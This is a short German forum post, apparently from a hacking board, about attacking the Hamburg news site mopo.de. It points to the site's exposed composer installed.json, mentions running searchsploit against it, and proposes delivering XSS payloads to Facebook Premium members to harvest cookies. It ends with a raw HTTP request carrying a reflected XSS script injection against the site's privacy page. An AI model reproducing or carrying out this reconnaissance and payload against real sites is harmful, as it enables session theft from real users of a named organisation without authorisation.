Hilft dir das vielleicht weiter?
https://www.mopo.de/vendor/composer/installed.json
Formatiert:
https://0.0g.gg/?b8e177813d7c5996#6g...LQRkAfPRR45bca
License:
https://www.mopo.de/license.txt
O.o
"type": "wordpress-plugin",
"installation-source": "dist",
"homepage": "https://wordpress.org/plugins/wpscan/",
"install-path": "../../wp-content/plugins/wpscan"
Ich drück mich grade vor der Arbeit vielleicht hau ich die gleich mal durch searchsploit!
XSS könntest versuchen via Facebook Premium Mitglieder mit Payloads zu versorgen um cookies zu sammeln.
GET /angebotsinformation/datenschutz/?1</script><script>GdGz(9966)</script>&cmp-silent=1 HTTP/1.1
Referer: https://www.mopo.de/
Cookie: ****************
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: *************
Host: Aktuelle Nachrichten aus Hamburg und der Welt | MOPO
Connection: Keep-alive
Zitieren
